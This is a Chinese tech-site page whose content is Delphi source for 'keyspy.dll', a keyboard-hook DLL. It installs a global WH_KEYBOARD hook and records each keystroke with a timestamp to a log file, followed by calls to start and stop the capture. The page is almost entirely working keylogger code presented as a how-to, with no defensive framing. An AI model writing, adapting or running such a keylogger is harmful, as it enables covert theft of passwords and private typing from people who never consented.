扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
function setkeyhook:bool;export; function endkeyhook:bool;export; procedure keyhookexit;far; procedure SetMainHandle(Handle: HWND); export;forward; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; procedure EntryPointProc(Reason: Integer); const hMapObject: THandle = 0; begin case reason of DLL_PROCESS_ATTACH: begin hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’); rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0); end; DLL_PROCESS_DETACH: begin try UnMapViewOfFile(rHookRec); CloseHandle(hMapObject); except end; end; end; end; procedure keyhookexit;far; begin if hNexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; function endkeyhook:bool;export; begin if hNexthookproc<>0 then begin unhookwindowshookex(hNexthookproc); hNexthookproc:=0; messagebeep(0); end; result:=hNexthookproc=0; MainHandle:=0; end; function Setkeyhook:bool;export; begin hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0); result:=hNexthookproc<>0; end; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; var s:Tstringlist; begin if icode<0 then begin result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam); exit; end; if lparam<0 then begin exit; end; s:=TStringlist.Create; if FileExists(afilename) then s.LoadFromFile(afilename); //将敲打的键盘字符保存到文件中 s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) ); s.SaveToFile(afilename); s.Free; result:=0; end; |
exports setkeyhook index 1, endkeyhook index 2, SetMainHandle index 3; begin hNexthookproc:=0; procsaveexit:=exitproc; DllProc := @EntryPointProc; EntryPointProc(DLL_PROCESS_ATTACH); end. |
function setkeyhook:bool;external ’keyspy.dll’; function endkeyhook:bool;external ’keyspy.dll’; procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’; //开始捕获键盘 SetMainHandle(handle); setkeyhook //中止捕获键盘 endkeyhook |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者